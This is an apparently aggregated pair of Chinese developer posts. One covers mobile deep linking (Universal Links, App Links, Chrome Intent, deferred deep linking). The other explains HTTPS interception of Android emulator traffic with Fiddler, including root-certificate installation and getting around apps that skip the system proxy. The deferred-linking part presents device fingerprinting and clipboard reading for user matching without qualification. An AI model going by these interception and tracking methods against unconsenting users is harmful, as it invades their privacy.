  • iOS会先请求https://domain.com/.well-known/apple-app-site-association,如果此文件请求不到,再去请求https://domain.com/apple-app-site-association,所以如果想要避免服务器接收过多GET请求,可以直接把apple-app-site-association放在./well-known目录下

Universal Link更新

apple-app-association的更新时机有以下两种:

  • 每次App安装后的第一次Launch,会拉取apple-app-association
  • Appstore每次App的版本更新后的第一次Launch,也会更新apple-app-association

所以反复重新杀APP重开完全没用,删了App重装确实有用,但不可能让用户这么去做。也就是说,一旦不小心因为意外apple-app-association,想要挽回又让那部分用户无感,App再发一个版本就好了。

Universal Link用户行为

Universal Link 触发后打开App,这时候App的状态栏右上角会有文字提示来自XXApp,可以点状态栏的文字快速返回原来的AP

如果用户点了返回微信,就会被苹果记住,认为用户并不需要跳出原App打开新App,因此这个App的Universal Link会被关闭,再也无效。

想要开启也不是不行,让用户重新用safari打开,universal link的页面,然后会出现很像苹果smart bar的东西,那个东西点了后就能打开

H5 端的 Universal Link 业务部署

H5 端的 Universal Link 跳转,从产品经理的角度看,需要满足以下 2 个需求:

  • 如果已安装 App,跳转对应界面
  • 如果没安装 App,跳转 App 下载界面

H5 端部署 Universal Link 示例:

router.use('/view', function (req, res, next) {
    var path = req.path;
    res.redirect('https://www.xxx.com/view' + path + '?xxx=xxx');
});

整个效果就是

  • 跳转https://www.xxx.com/view/*
    • 已安装 App
      • 打开 App 触发 handleUniversalLink
      • 走到/view/分支,拼接阅读页路由跳转
    • 未安装 AppWebView
      • 原地跳转https://www.xxx.com/view/*
      • 命中服务器的重定向逻辑
      • 重定向到https://www.xxx.com/view/*
      • 打开相应的 H5 页面

Chrome Intent

在很多应用中需要我们从浏览器中直接启动应用,大多数采用的是上面提到的第一种scheme的方式,问题是如果手机中没有应用,该url会跳转到一个错误的界面。

Google官方在chrome中推出了一种Android Intents的方式来实现应用启动,通过在iframe中设置src为:

  • intent:HOST/URI-path // Optional host
  • #Intent;
  • package=[string];
  • action=[string];
  • category=[string];
  • component=[string];
  • scheme=[string];
  • end;

mainfest文件中定义要启动的activity:

<activity
    android:name=".ui.activity.SplashActivity"
    android:exported="true"
    android:screenOrientation="portrait"
    android:theme="@style/NormalSplash"><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter><intent-filter><action android:name="android.intent.action.VIEW" /><category android:name="android.intent.category.DEFAULT" /><category android:name="android.intent.category.BROWSABLE" /><data
            android:host="app.puxinwangxiao.com"
            android:scheme="pxwxstudent" /></intent-filter></activity>

定义一个a标签为

<a href="intent://app.domain.com/#Intent;scheme=xyz;package=com.xxx.xxx;end">open Android App</a>

在浏览器中点击a标签,就可以启动应用程序的对应activity了。如果手机中没有相应的应用,防止跳转到错误页面,将a标签设置为:

<a href="intent://app.domain.com/#Intent;scheme= xyz;package=com.xxx.xxx;S.browser_fallback_url=https://www.domain.com;end">open Android App</a>

这样如果没有对应应用,该链接就会跳转到==S.browser_fallback_url==指定的url上。

备注:很多第三方浏览器会拦截掉chrome intent启动应用的请求。

Android App Link

类似 Universal Links, Android App Link采取类似的机制:使用标准的 Web 页面 URL,同时绑定对应的 App。在 Android >= 6 的系统中支持这一机制。

Android App Links有以下几点好处:

  • 安全性/特殊性:由于Android App Links使用了HTTP/HTTPS URL的方式向开发者的服务器进行连接认证,所以其他应用无法使用我们的链接
  • 无缝的用户体验:当用户未安装我们的应用时,由于使用的是HTTP/HTTPS URL,会直接打开一个网页,我们可以在这个网页中展示应用介绍等,而不是显示404或者是其他错误页面
  • 支持Instant Apps:可以使用App Links直接打开一个未安装的Instant App
  • 支持Google Search或其他浏览器:用户可以直接在Google Search/Google Assistant/手机浏览器/屏幕搜索中直接通过点击一个URL来打开我们的指定页面

要添加Android App Links到应用中,需要在应用里定义通过Http(s)地址打开应用的intent filter,并验证你确实拥有该应用和该网站。如果系统成功验证到你拥有该网站,那么系统会直接把URL对应的intent路由到你的应用。

为了验证你对应用和网站的所有权,以下两个步骤是必须的:

  • 在AndroidManifest里要求系统自动进行App Links的所有权验证。这个配置会告诉Android系统去验证你的应用是否属于在intent filter内指定的URL域名。
  • 在以下链接地址里,放置一个数字资产链接的Json文件,声明你的网址和应用之间的关系:https://domain.name/.well-known/assetlinks.json

在app中激活App links

告诉安卓系统去验证app与域名之间的关系。因为我们已经在app中注册了该域名,就不会再出现弹框。找到AndroidManifest.xml文件,在处理深度链接路由的activity(第三步将讲解如何创建这样的Activity)中添加android:autoVerify=”true”到intent-filter:

<activity
  android:name=".ParseDeepLinkActivity"
  android:alwaysRetainTaskState="true"
  android:launchMode="singleTask"
  android:noHistory="true"
  android:theme="@android:style/Theme.Translucent.NoTitleBar"><intent-filter android:autoVerify="true"><data android:scheme="http" android:host="yourdomain.com" /><data android:scheme="https" android:host="yourdomain.com" /><action android:name="android.intent.action.VIEW" /><category android:name="android.intent.category.DEFAULT" /><category android:name="android.intent.category.BROWSABLE" /></intent-filter></activity>

这个配置告诉安卓去验证一个文件,这个文件地址是https://yourdomain.com/.well-known/statements.json。如果存在这个文件,同时验证成功,那么用户点击该域名之下的链接时,就可以直接到app,弹出框就可以避免。否则app就没有成为默认选项,弹出框就会呈现给用户。

上传web-app关联文件(statements.json)

基于安全的原因,这个文件必须通过SSL的GET请求获得。

[{"relation": ["delegate_permission/common.handle_all_urls"],"target": {"namespace": "android_app","package_name": "com.mycompany.myapp","sha256_cert_fingerprints": ["6C:EC:C5:0E:34:AE....EB:0C:9B"]
  }
}]

可以在AndroidManifest.xml 文件中找到app的package name。还需要通过在终端中执行ava keytool 产生一个sha256指纹:

keytool -list -v -keystore /path/to/app/release-key.keystore

你需要向keystore添加持有app release keys的 app路径。这个路径依赖于项目设置,因此不同的app是不同的。可以在谷歌的文档中找到更多关于如何找到keystore的信息。

最后,上传这个文件到服务器的/.well-known/statements.json。为了避免今后每个app链接请求都访问网络,安卓只会在app安装的时候检查这个文件。如果你能在请求https://yourdomain.com/.well-known/statements.json 的时候看到这个文件(替换成自己的域名哈),那么可以继续下一步了。

注:目前可以通过http获得这个文件,但是在M最终版里则只能通过HTTPS验证。确保你的web站点支持HTTPS请求。

在app中处理applink

public class ParseDeepLinkActivity extends Activity {
  public static final String PRODUCTS_DEEP_LINK = "/products";
  public static final String XMAS_DEEP_LINK = "/campaigns/xmas";
  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);
    // Extrapolates the deeplink data
    Intent intent = getIntent();
    Uri deeplink = intent.getData();
    // Parse the deeplink and take the adequate action 
    if (deeplink != null) {
      parseDeepLink(deeplink);
    }
  }
  private void parseDeepLink(Uri deeplink) {
    // The path of the deep link, e.g. '/products/123?coupon=save90'
    String path = deeplink.getPath();
    if (path.startsWith(PRODUCTS_DEEP_LINK)) {
      // Handles a product deep link
      Intent intent = new Intent(this, ProductActivity.class);
      intent.putExtra("id", deeplink.getLastPathSegment()); // 123
      intent.putExtra("coupon", deeplink.getQueryParameter("coupon")); // save90
      startActivity(intent);
    } else if (XMAS_DEEP_LINK.equals(path)) {
      // Handles a special xmas deep link
      startActivity(new Intent(this, XmasCampaign.class));
    }  else {
      // Fall back to the main activity
      startActivity(new Intent(context, MainActivity.class));
    }
  }
}

深度链接 Deeplink

深度链接是指当用户打开移动应用时向其提供个性化的内容,或将用户带到应用内特定位置的操作。通过这种操作,您可以为用户提供优质的用户体验,从而极大加强用户与应用的互动。

  • 在浏览器或者短信中打开App,如果安装了就能直接打开App,否则引导下载。对于Android而言,这里主要牵扯的技术就是deeplink,也可以简单看成scheme。
  • 其实,AppLink就是特殊的Deeplink,只不过它多了一种类似于验证机制,如果验证通过,就设置默认打开,如果验证不过,则退化为deeplink,如果单从APP端来看,区别主要在Manifest文件中的android:autoVerify=”true”。
  • 还有在微信中,也可以作出这样操作。如果用户已经安装App,点击跳转App则会通过应用宝打开该应用并且跳转到相应的页面,这种也是一种AppLink。

总结来说,Deeplink,又叫深度链接技术,是指在App/短信/广告里点击链接,能直接跳转到目标App具体位置的技术,深度链接打破了网站与App间的壁垒,成为实现网站与App相互跳转的桥梁。开发者不仅可以通过deeplink实现网站到App互相跳转,也可以实现从多个平台(QQ、微信、微博、Twitter、Facebook、短信、各大浏览器等)到App内指定页的跳转。例如用户将电商App内的一个详情页链接通过短信形式发送给其他亲友,用户点击短信内的链接就能打开对应的H5页面,然后直接跳转到电商App内的指定详情页,而不是App首页。如果用户并未安装App,那么就会跳转到App下载页面。等用户安装打开App后仍然能跳转到指定页面。Deeplink技术不仅可以实现场景快速还原,缩短用户使用路径,更重要的是能够用于App拉新推广场景,降低用户流失率。

Deep Linking只是一个概念, 是指通过一个链接进入另一个网站/App,并直接浏览其内部的某个页面。 Deep Linking 给用户带来的是非常顺滑的浏览体验,尤其在 Web 世界中 Deep Linking 的实现非常容易。

但如果要进入 App 并定位到对应的页面则较为困难,URI Scheme, Universal Links, Android App Links, 以及 Chrome Intent 都是为了解决从 Web 页面 Deep Linking 到 App 而做的尝试。

每种实现方式都有其适用的平台和浏览器,要兼容多数浏览器需要根据 User Agent 应用不同的策略。 这些实现方式的行为也不一致,可能需要配合产品需求才能确定结合哪几种实现方式。 这些实现在下文有详细的介绍,下表中先大概列举各种实现的区别:

技术Universal LinkAndroid App LinkURI SchemeChrome Intent
平台要求>= iOS 9>= Android 6Chrome 1 < 25, iOSChrome 1 >= 25
未安装表现打开 Web 页面打开 Web 页面发生错误可以打开 Web 页面
能否不发生跳转不能不能
能否去下载页面不能
iframe 触发不支持不支持Chrome 1 <= 18, iOS < 9不支持
链接格式 2正常的 URL正常的 URL自定义协议的 URLintent 协议的 URL

JavaScript 获取成功与否

上述所有调起方式都必须通过页面请求(除了特定情况下的 iframe), 没有 JavaScript API 可用。理论上不存在调起结果回调。

但实践上可以通过 setTimeout 来检查页面是否还在运行,以及页面是否中断过。 原理是如果页面切走(这意味着成功调起),setTimeout 回调的触发时间点会延迟。 这一方式不够准确,但只有这一种办法。

  • 如果被判定为调起成功,则一定是调起成功的。
  • 如果被判定为调起失败,则有可能调起成功。

即存在很大概率的 False Negative,但不存在 False Positive。

关于国产浏览器

这一部分讨论这三个浏览器的表现:UC, 微信,QQ。它们占据了系统浏览器之外的大多数市场份额,表现也惊人地一致。

  • Android 下它们会拦截掉所有页面调起。需要提示用户从系统浏览器中打开。
  • iOS 下它们会拦截 URI Scheme,既不会弹框也不会调起。对于 Universal Link 会直接打开 Web 页面而不调起。

其中 UC 浏览器在 iOS < 9 的环境下尝试 URI Scheme 调起很可能会直接崩溃。 由于浏览器兼容性问题,以及 App 安装率不可能是 100%,调起成功率一般会很低尤其在 Android 下。

延迟深度链接(Deferred Deep Linking)

相比deeplink,它增加了判断APP是否被安装,用户匹配的2个功能;

  • 当用户点击链接的时候判断APP是否安装,如果用户没有安装时,引导用户跳转到应用商店下载应用。
  • 用户匹配功能,当用户点击链接时和用户启动APP时,分别将这两次用户Device Fingerprint(设备指纹信息)传到服务器进行模糊匹配,使用户下载且启动APP时,直接打开相应的指定页面。

通过上面的2个技术方案,不仅:

  • 可以让被分享者更快更便捷的回到APP,且回到指定的活动页面,而且:
  • 可以引导未安装APP的用户下载APP、
  • 分享者和被分享者的关系链会通过设备指纹信息记录下来,在业务场景中给出相应的奖励。

Deferred Deeplink可以先判断用户是否已经安装了App应用,如果没有则先引导至App应用商店中下载App, 在用户安装App后跳转到指定App页面Deeplink中。

除了上述Deeplink中的运营有点外,Deferred Deeplink在未安装App应用人群定向推广中效果更佳突出。另外国外的App运营在社交推广中广泛使用Deferred Deeplink技术,比如一个购物App中用户分享了一个自己喜欢的产品到社交账户中,如果没有使用Deferred Deeplink。其好友看到分享,点击下载安装打开App应用后,很可能找不到其好友分享的产品,导致较高的用户流失率。

Deferred DeepLink的实现思路

任何匹配的问题都可以转化到获取唯一标示的问题。很容易联想到http里面的session和cookies。由于手机系统的沙盒模式,阻断了App之间的数据共享。也就是说App的cookies跟手机浏览器的cookies是分开的,无法互通。

解决方案一:通过设备唯一ID

如Android的OIAD,iOS的idfv。此方案仅适合一个APP往另外一个APP引流的场景。

解决方案二:通过IP地址+设备信息(设备尺寸、操作系统等)+时间限定(比如10分钟)

解决方案三:剪切板方案

H5页面在点击下载时自动调用剪切板复制当前用户渠道ID( 口令码方案),APP每次启动时调用剪切板内容格式符合则认定该用户和H5用户为同一用户。

第三方库

支持deep linking 和 deferred deep linking 的第三方服务,比如 AppsFlyerBranch。涉及内容较多,这里就先不做展开。后面会单独进行深入分析。

Fiddler 抓包 Android

$
0
0

引言

准备

  • Fiddler
  • Android 模拟器
    • 我这里是 夜神模拟器,BlueStacks蓝叠 模拟器 没找到 WLAN设置

Fiddler 基本配置

参考:

Fiddler 配置代理, 允许远程的计算机连接

点击 OK,保存确定后, 需要重启 Fiddler 才能生效

Fiddler 配置 HTTPS

Fiddler启用https:Options中勾选"Decrypt HTTPS traffic"和"Ignore server certificate errors(unsafe)",弹出的提示都选Yes

Android 模拟器 配置

参考:

配置 Android 模拟器的网络代理

打开 设置, 选择 WLAN, 在显示已连接的WIFI上长按鼠标左键,选择 修改网络 ,

勾选 高级选项

选择 手动,填写本机 ip 以及 端口 ( 8888 )

Fiddler 默认为 8888

查看本机端口, cmd 执行

1      
ipconfig      

图中 192.168.0.103即为本机 ip,

我这里是 WiFi 连接,因此才是 Wireless LAN adapter WLAN, 如果是 网线连接,则是最上面的 以太网

PS: BlueStacks蓝叠 模拟器居然没找到 WLAN设置, 于是这里用 夜神模拟器

应该说,到这里,就可以抓包 HTTP 了

针对 HTTPS 的请求,需要在Fiddler中启用 HTTPS,并把Fiddler的证书安装到模拟器中

配置 Fiddler 抓包 模拟器 的 HTTPS

模拟器 安装 来自 Fiddler 的 HTTPS 证书 有两种方式:

  1. Fiddler 导出证书,然后模拟器 导入电脑文件, 然后安装证书
  2. 在模拟器中通过浏览器访问 Fiddler 的 http://ip:8888 ,下载安装证书

这里选择第二种方式,方便

如果打开后浏览器提示证书错误,点击 继续即可

点击下载 Fiddler证书,下载完成后,点击安装,这里给证书取名,随便取,

凭据用途有两个选项:

  • VPN和应用
  • WLAN

我这里只安装 VPN和应用,也可以两个都安装一遍

这里需要设置密码,设置好后即可

确定安装完毕;在 设置 - 个人 - 安全 - 信任的凭据中, 用户标签页可以看到安装的证书

点击证书,可以查看详情

接下来就可以打开Fiddler,在模拟器中打开浏览器测试下https的数据包是否可以正常抓到和解析了,以百度为例

打开模拟器默认带的浏览器,输入 m.baidu.com,百度现在默认使用https,随便搜索一下,查看刚才的包

成功

部分 APP 不走 系统代理

参考:

现象

设置系统代理后,依然抓不到包 ( 没有相关请求的包 ),但是 app 却依旧正常返回数据,没有断网。

使用 Fiddler 或 Charles 这类代理抓包软件默认情况下无法抓取请求的,

但使用 Wireshark 这类网卡抓包软件可以看到这些 APP 的流量,

就表明这些 APP 使用的主要应用层协议仍然是 HTTP(HTTPS)

Fiddler 或 Charles 这类使用的代理的抓包软件与 Wireshark 是完全不同的(Wireshark 使用的网卡数据复制,只要是经过指定网卡都会被抓取),其只能对使用代理的应用层网络协议生效,比如常见的HTTP(https),Websocket 。

APP 不走系统代理 原因/实现

网络请求代理设置 NO_PROXY

在网络请求的时候,通过OkHttp可以设置一个选项,代理的类型。我们在这里直接设置成Proxy.NO_PROXY。这样话即使android设置了代理,我们的app也不会走代理。

  • android系统设置的代理并不是强制对所有app生效的
  • app可以在网络请求类库中通过自定义代理设置,选择是否要走系统代理
1     
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public void run() {     
Looper.prepare();
OkHttpClient okHttpClient = new OkHttpClient.Builder().
proxy(Proxy.NO_PROXY).//okhttp不设置代理
build();
Request request = new Request.Builder()
.url("http://www.baidu.com")
.build();
Response response = null;
try {
response = okHttpClient.newCall(request).execute();
Toast.makeText(this, Objects.requireNonNull(response.body()).string(), Toast.LENGTH_SHORT).show();
} catch (IOException e) {
e.printStackTrace();
}
Looper.loop();
}

解决

TODO: 未完

Q&A

补充

Fiddler 默认端口

Fiddler 导出 HTTPS 证书

代理抓包原理

参考:

下面内容 来自上面的参考内容,根据自己理解,修改简化

原理

为什么Fiddler 或 Charles对这些APP无效,我们有必要先了解代理抓包我原理

Fiddler 或 Charles 这类使用的代理的抓包软件与Wireshark是完全不同的(Wireshark 使用的网卡数据复制,只要是经过指定网卡都会被抓取),其只能对使用代理的应用层网络协议生效,比如常见的HTTP(https),Websocket 。

这里以HTTP为例简单说明下

客户端需要完成一次HTTP请求,通常需要先找到服务器,客户端会根据http请求中url的主机名(实际会使用host中的主角名)及其端口与目标主机建立tcp连接,建立连接后会将http报文发送给目标服务器 (更多细节请参考https://tools.ietf.org/html/rfc7232)

接下来我来看下HTTP代理是如何运作的,我们启动Fiddler 或 Charles就是启动了一个HTTP代理服务器,这类工具会通知操作系统,“现在我在系统上创建了一个HTTP代理,IP为XXXXXX端口为XX。如果您使用的是linux您可以手动通知操作系统(export http_proxy=ip:port export https_proxy=$http_proxy),如果您使用的是手机等移动设备您可以在当前wifi设置处告诉系统你要使用http代理。 现在我们已经告诉系统我们想要使用代理,这个时候运行在系统上的http客户端再去发送请求的时候,他就不会再去进行DNS解析,去连接目标服务器,而是直接连接系统告诉他代理所在的地址(代理的ip及端口,注意无论是http或https或其他支持代理的协议都会连接同一个端口)。然后代理服务器会与客户端建立连接,再然后代理服务器根据请求信息再去连接真正的服务器。

这里还有个细节正常在 没有代理的情况下客户端向服务器发送的请求行里 只包含部分URI(实际上是没有方案,主机名及端口的)

有代理的情况下,应该是 黄色标记的那样 完整URL

如上图如果在没有代理的情况下,对 www.baidu.com/index.html 的请求的请求行实际上是 GET /index.html HTTP/1.1 其实并不是我们常见的完整uri。因为在原始的HTTP设计中没有考虑中间服务器(即代理)的情况,客户端在发送报文前已经知道服务器的地址并与之建立了连接,没有必要再发送方案,主机名及端口。不过代理出现后这种做法就会有问题了,客户端连接了代理服务器,而代理服务器却没有办法连接正确的服务器。因此客户端发送给代理的请求其实稍有不同,客户端会在请求行里使用完整的uri,这样代理服务器才能解析真实的服务器的地址。

现在我们的请求实际上都是通过代理服务器(Fiddler 或 Charles)发送出去的,所以代理抓包软件不仅知道http请求及响应的所有报文,甚至还可以随时修改请求及响应。

部分应用不能抓包的原因

代理抓包的关键就是需要HTTP客户端按照要求去连接代理服务器

一般情况下我们已经在系统层面上设置了代理,通常http客户端都是按要求去实现的,在进行http请求前会先检查系统代理,如果有设置代理,客户端会直接使用完整uri去连接代理服务器。不同的平台通常会实现自己的的http客户端的,虽然他们都按照协议要求实现了代理功能,但是并不一定在默认情况下会直接使用系统代理。

在现实中这种况下这种情况还不少,Flutter 就是这种情况,默认Flutter不会主动使用系统代理,需要单独设置。(当然个人认为这种策略也是有理由,虽然给测试及调试带来了不便不过也在一程度上提高了些许数据安全)

正是因为HTTP客户端没有使用我们设置的系统代理,他们自然也不会连接Fiddler 或 Charles创建的代理服务器,最终导致我们无法获取任何请求。

解决方案

不过既然我们已经知道了Fiddler 和 Charles不能抓包的具体原因,前面也提到了代理抓包的原理,那我们就总有办法解决。

前面说到了我们APP使用的HTTP客户端没有连接到代理服务器,导致我们的代理抓包软件无法正常抓包,那我们只要想办法让客户端重新连接到代理服务器就好了(当然这一切都是以不修改客户端软件APP为前提的)

方法1:控制DNS解析,通过修改dns的方式让客户端以为我们的代理服务器就是目标服务器。

优势:

  • 操作方便,通过修改设备的hosts可以十分方便的首先

劣势:

  • 需要为每个需要操作的域名提前添加host
  • 在手机等手持设备上难以修改hosts(即对移动APP这类应用很难实现)

方法2:在网络设备上直接做流量转发,将指定终端设备上发往80及443端口的数据直接转发到代理服务器的 目标端口上

优势:

  • 可以针对连接到网络设备上的终端设备进行分别配置,而手机等终端设备不需要进行任何设备

劣势:

  • 需要单独的硬件设备

方法3:使用VPN将终端设备的流量转发到代理服务器

优势:

  • 使用VPN软件不用添加其他测试。

劣势:

  • 终端上的VPN默认会直接对所有流量进行转发,要进行合理的配置可能需要额外的学习成本

TODO: 未复制完

参考

感谢帮助!

Viewing all 192 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>